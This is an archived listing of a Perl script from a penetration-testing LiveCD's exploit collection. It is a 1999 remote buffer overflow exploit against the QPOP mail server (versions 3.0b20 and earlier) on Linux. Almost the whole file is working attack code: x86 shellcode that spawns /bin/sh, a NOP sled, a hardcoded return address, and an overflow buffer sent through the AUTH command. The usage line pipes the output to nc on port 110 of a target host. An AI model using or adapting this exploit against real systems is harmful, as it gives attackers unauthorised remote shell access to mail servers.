home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / qpop.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  55 lines

  1. #!/usr/bin/perl
  2. # *** Synnergy Networks
  3.  
  4. # * Description:
  5. #
  6. # Remote buffer overflow exploit for QPOP 3.0b<=20 
  7. # running on Linux.
  8. # (based on code by sk8@lucid-solutions.com)
  9.  
  10. # * Author:
  11. #
  12. # headflux (hf@synnergy.net)
  13. # Synnergy Networks (c) 1999,  http://www.synnergy.net
  14.  
  15. # * Usage:
  16. # ./qpop-linux.pl <offset> | nc -v <hostname> 110
  17.  
  18. # *** Synnergy Networks
  19.  
  20. $nop    = "\x90";
  21. #$offset        = 0;
  22.  
  23. $shell  = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa";
  24. $shell  .= "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04";
  25. $shell  .= "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff";
  26. $shell  .= "\xff\xff/bin/sh";
  27.  
  28. #$i     = 0;
  29. $buflen = 990;
  30. $ret    = 0xbfffd304;
  31. $cmd    = "AUTH ";
  32.  
  33. if(defined $ARGV[0])
  34. {
  35.         $offset = $ARGV[0];
  36. }
  37.  
  38. $buf = $nop x $buflen;
  39. substr($buf, 0, length($cmd))        = "$cmd";
  40. substr($buf, 800, length($shell))       = "$shell";
  41.  
  42. for ($i=800+length($shell) + 2; $i < $buflen - 4; $i += 4)
  43. {
  44.         substr($buf, $i, length($ret + offset)) = pack(l,$ret + $offset);
  45. }
  46.  
  47. # substr($buf, $buflen - 2, 1)  = "\n";
  48. # substr($buf, $buflen - 1, 1)  = "\n";
  49.  
  50. #$buf   .= "\n";
  51.  
  52. printf STDOUT "$buf\n";
  53.  
  54. # EndOfFile
  55.